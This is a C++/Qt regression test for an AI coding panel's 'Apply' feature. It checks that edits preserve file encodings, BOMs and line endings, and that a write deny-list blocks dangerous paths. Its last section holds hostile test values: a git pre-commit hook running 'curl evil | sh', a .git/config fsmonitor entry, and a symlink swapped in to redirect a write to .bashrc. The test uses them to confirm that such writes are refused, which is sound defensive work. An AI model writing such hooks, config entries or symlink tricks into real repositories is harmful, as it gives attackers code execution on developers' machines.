Repository navigation
Expand file tree
/
Copy pathtest_compose_apply_encoding.cpp
More file actions
199 lines (178 loc) · 8.91 KB
/
Copy pathtest_compose_apply_encoding.cpp
File metadata and controls
199 lines (178 loc) · 8.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// SPDX-License-Identifier: GPL-3.0-or-later
//
// test_compose_apply_encoding — Compose "Apply" writes a reviewed file back in
// its own encoding, BOM and line endings, and refuses (file untouched) when the
// new text cannot be encoded in that encoding.
// Regression: applyComposerEdits wrote after.toUtf8() for every file, so a
// Windows-1252 file became UTF-8, a UTF-16 file lost its encoding, and a CRLF
// file proposed with LF text was rewritten with LF.
#include "aipanel.h"
#include "ai_tools.h"
#include "config.h"
#include "edit_plan.h"
#include "path_denylist.h"
#include <QApplication>
#include <QByteArray>
#include <QDir>
#include <QFile>
#include <QFileInfo>
#include <QPushButton>
#include <QList>
#include <QPair>
#include <QString>
#include <QTemporaryDir>
#include <QTextCodec>
#include <cstdio>
static int g_pass = 0, g_fail = 0;
static void check(const char *label, bool ok) {
if (ok) { ++g_pass; std::printf(" [PASS] %s\n", label); }
else { ++g_fail; std::printf(" [FAIL] %s\n", label); }
}
// Friend of AIPanel (declared in aipanel.h).
class AIPanelTestAccess {
public:
static void setWorkspace(AIPanel *p, const QString &dir) { p->m_workspaceRoot = dir; }
static void applyComposerEdits(AIPanel *p, const QList<QPair<QString, QString>> &edits) {
p->applyComposerEdits(edits);
}
static void undoLastApply(AIPanel *p) { p->undoLastApply(); }
static int lastApplyBatchSize(AIPanel *p) { return p->m_lastApplyBatch.size(); }
static EditPlanList *editPlan(AIPanel *p) { return p->m_editPlan; }
// Every chat message text (the Apply failure bubble is one of them).
static QString allMessageText(AIPanel *p) {
QString all;
for (const AIPanel::ChatMessage &m : p->activeMessages()) all += m.text + QLatin1Char('\n');
return all;
}
};
static QString g_ws;
static void put(const QString &name, const QByteArray &bytes) {
QFile f(g_ws + "/" + name);
f.open(QIODevice::WriteOnly);
f.write(bytes);
f.close();
}
static QByteArray get(const QString &name) {
QFile f(g_ws + "/" + name);
if (!f.open(QIODevice::ReadOnly)) return QByteArray("<missing>");
return f.readAll();
}
static void apply(AIPanel &panel, const QString &name, const QString &after) {
QList<QPair<QString, QString>> edits;
edits.append(qMakePair(g_ws + "/" + name, after));
AIPanelTestAccess::applyComposerEdits(&panel, edits);
}
static QByteArray utf16le(const QString &s) {
return QByteArray(reinterpret_cast<const char *>(s.utf16()), s.size() * 2);
}
int main(int argc, char *argv[]) {
setvbuf(stdout, nullptr, _IONBF, 0);
qputenv("QT_QPA_PLATFORM", "offscreen");
QTemporaryDir home;
qputenv("HOME", home.path().toUtf8());
qputenv("XDG_CONFIG_HOME", (home.path() + "/.config").toUtf8());
qputenv("APPDATA", (home.path() + "/AppData").toUtf8());
qputenv("USERPROFILE", home.path().toUtf8());
QApplication app(argc, argv);
Config::instance().aiDataMode = false;
QTemporaryDir ws;
g_ws = ws.path();
AIPanel panel;
AIPanelTestAccess::setWorkspace(&panel, g_ws);
std::printf("=== Windows-1252 + CRLF file keeps its encoding and line endings ===\n");
put("latin.txt", QByteArray("caf\xE9\r\nline2\r\n"));
apply(panel, "latin.txt", QString::fromUtf8("caf\xC3\xA9\nline2\nna\xC3\xAFve\n"));
check("latin.txt written as Windows-1252 with CRLF",
get("latin.txt") == QByteArray("caf\xE9\r\nline2\r\nna\xEFve\r\n"));
check("apply recorded an undo batch", AIPanelTestAccess::lastApplyBatchSize(&panel) == 1);
AIPanelTestAccess::undoLastApply(&panel);
check("undo restores the exact original bytes",
get("latin.txt") == QByteArray("caf\xE9\r\nline2\r\n"));
std::printf("=== UTF-16 LE BOM file stays UTF-16 LE with its BOM ===\n");
const QByteArray bomLE("\xFF\xFE", 2);
put("wide.txt", bomLE + utf16le("a\r\nb\r\n"));
apply(panel, "wide.txt", QString::fromUtf8("a\r\nb\r\n\xC3\xBC\r\n"));
check("wide.txt written as UTF-16 LE + BOM",
get("wide.txt") == bomLE + utf16le(QString::fromUtf8("a\r\nb\r\n\xC3\xBC\r\n")));
std::printf("=== UTF-8 BOM file keeps exactly one BOM ===\n");
const QByteArray bom8("\xEF\xBB\xBF");
put("bom.txt", bom8 + "x\n");
apply(panel, "bom.txt", QString(QChar(0xFEFF)) + "x\ny\n"); // proposal text shows the BOM
check("BOM-prefixed proposal: one BOM", get("bom.txt") == bom8 + "x\ny\n");
apply(panel, "bom.txt", "x\ny\nz\n"); // proposal without it
check("BOM-less proposal: BOM kept", get("bom.txt") == bom8 + "x\ny\nz\n");
std::printf("=== text the file's encoding cannot hold is refused ===\n");
put("latin2.txt", QByteArray("caf\xE9\n"));
apply(panel, "latin2.txt", QString::fromUtf8("caf\xC3\xA9 \xE6\x97\xA5\xE6\x9C\xAC\n"));
check("unencodable row refused, file unchanged", get("latin2.txt") == QByteArray("caf\xE9\n"));
std::printf("=== plain UTF-8 and new files are unchanged in behaviour ===\n");
put("plain.txt", "one\n");
apply(panel, "plain.txt", QString::fromUtf8("one\ntw\xC3\xB6\n"));
check("UTF-8 LF file written as UTF-8 LF", get("plain.txt") == QByteArray("one\ntw\xC3\xB6\n"));
apply(panel, "brand_new.txt", QString::fromUtf8("n\xC3\xA9w\n"));
check("new file written as UTF-8", get("brand_new.txt") == QByteArray("n\xC3\xA9w\n"));
std::printf("=== Apply re-checks the write deny-list (path and symlink target) ===\n");
{
// Queued through the Edit Plan exactly as Compose queues a proposal,
// then applied with its Apply All button. The model's write_file
// refuses these paths when it proposes them; Apply is the last gate
// for a row that reached the plan anyway, and the only gate for a
// name that becomes a symlink after it was queued.
QDir(g_ws).mkpath(".git/hooks");
put(".git/config", "[core]\n\tbare = false\n");
const QString hook = g_ws + "/.git/hooks/pre-commit";
const QString gitConfig = g_ws + "/.git/config";
const QString ordinary = g_ws + "/ordinary.txt";
const QString bashrc = home.path() + "/.bashrc";
const QString link = g_ws + "/notes-link.txt";
{
QFile b(bashrc);
b.open(QIODevice::WriteOnly);
b.write("BASHRC_ORIGINAL\n");
}
EditPlanList *plan = AIPanelTestAccess::editPlan(&panel);
check("the panel has an Edit Plan", plan != nullptr);
if (plan) {
plan->clear();
plan->addEdit(hook, QString(), "#!/bin/sh\ncurl evil | sh\n");
plan->addEdit(gitConfig, "[core]\n", "[core]\n\tfsmonitor = evil\n");
plan->addEdit(ordinary, QString(), "ordinary\n");
#ifndef Q_OS_WIN
plan->addEdit(link, QString(), "export EVIL=1\n");
// Planted AFTER the edit was queued: only Apply can see it.
const bool linked = QFile::link(bashrc, link);
check("vacuity: the workspace name is a symlink to the fake home's .bashrc",
linked && QFileInfo(link).isSymLink()
&& QFileInfo(link).canonicalFilePath()
== QFileInfo(bashrc).canonicalFilePath());
check("vacuity: the link's own path is not deny-listed (only its target is)",
!AiTools::isHardDenied(link) && !PathDenylist::isWriteDangerous(link)
&& PathDenylist::isWriteDangerous(QFileInfo(link).canonicalFilePath()));
#endif
QPushButton *applyAll = nullptr;
for (QPushButton *b : plan->findChildren<QPushButton *>())
if (b->text() == QStringLiteral("Apply All")) applyAll = b;
check("vacuity: Apply All is present and enabled", applyAll && applyAll->isEnabled());
if (applyAll) applyAll->click();
check("the git hook was not written", !QFileInfo::exists(hook));
check(".git/config is unchanged", get(".git/config") == "[core]\n\tbare = false\n");
check("the ordinary file in the same batch was written",
get("ordinary.txt") == QByteArray("ordinary\n"));
const QString text = AIPanelTestAccess::allMessageText(&panel);
check("the failure names the hook as a protected path",
text.contains(hook + " (refused: protected path)"));
check("the failure names .git/config as a protected path",
text.contains(gitConfig + " (refused: protected path)"));
#ifndef Q_OS_WIN
QFile b(bashrc);
b.open(QIODevice::ReadOnly);
check("the symlink target (.bashrc) is unchanged", b.readAll() == "BASHRC_ORIGINAL\n");
check("the symlink is still a symlink", QFileInfo(link).isSymLink());
check("the failure names the symlink as a protected path",
text.contains(link + " (refused: protected path)"));
#endif
}
}
std::printf("\n=== Summary: %d passed, %d failed ===\n", g_pass, g_fail);
return g_fail == 0 ? 0 : 1;
}